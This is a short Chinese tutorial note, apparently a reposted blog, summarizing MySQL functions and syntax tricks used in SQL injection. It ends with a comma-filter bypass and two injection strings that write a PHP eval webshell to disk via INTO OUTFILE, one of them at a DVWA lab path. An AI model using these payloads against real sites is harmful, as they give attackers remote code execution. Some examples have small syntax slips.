您的位置:首页 > 数据库

SQL注入总结

2016-06-06 15:48 513 查看

/**/与/!**/

/* …. / 在大部分语言中都一样是注释。这个之中的语句是不被执行的。但mysql中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在mysql上的语句放在 /! … */ 中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。

仅当MySQL的版本等于或高于指定的版本号时才会执行注释中的语法: CREATE /!32302 TEMPORARY / TABLE t (a INT);这意味着,如果你的版本号为3.23.02或更高,MySQL服务器将使用TEMPORARY关键字。

@

设置变量 set @a=123;

或者 @a:=123;

select @a:=name from users limit 1;

group_concat() 函数

把name打印成一行:

select group_concat(name) from aa

substring() 函数

截取字段(盲注时判断)

select substring(‘codelabshidahaoren’,1,1);

或者 select substring(‘codelabshidahaoren’ from 1 for 1);

concat() 函数

字符拼接:

select concat(‘codelab’,’is’,’good’);

concat_ws() 函数

许多行内容弄到一行,但是又用分隔符分开:

select concat_ws(‘,’,’codelab’,’good’); – 用逗号分隔开

floor() 函数

select floor(3.8);

ord() 函数

ORD() 函数返回字符串第一个字符的 ASCII 值:

select ord(‘a’);

select ord(substring(‘asdf’ from 1 for 1));

case()函数

select char(49+(case when ‘a’ > ‘b’) then 1 else 0 end));

关键字limit

select * from user limit 0,1 # 第一条数据

select * from user limit 1,2 # 第二条数据

select * from user limit 0,2 # 前两条数据

绕过逗号拦截

通过使用join关键字

select 1,2 union select * from((select user())a join (select database())b);

利用sql注入写入webshell

假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。

‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+


‘ union select 1,'<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+


一点说明

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。

注释: # – (后边有空格)

注意: 在url当中,我们可以使用“+”来代替“–”后面的空格。

什么是payload:说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: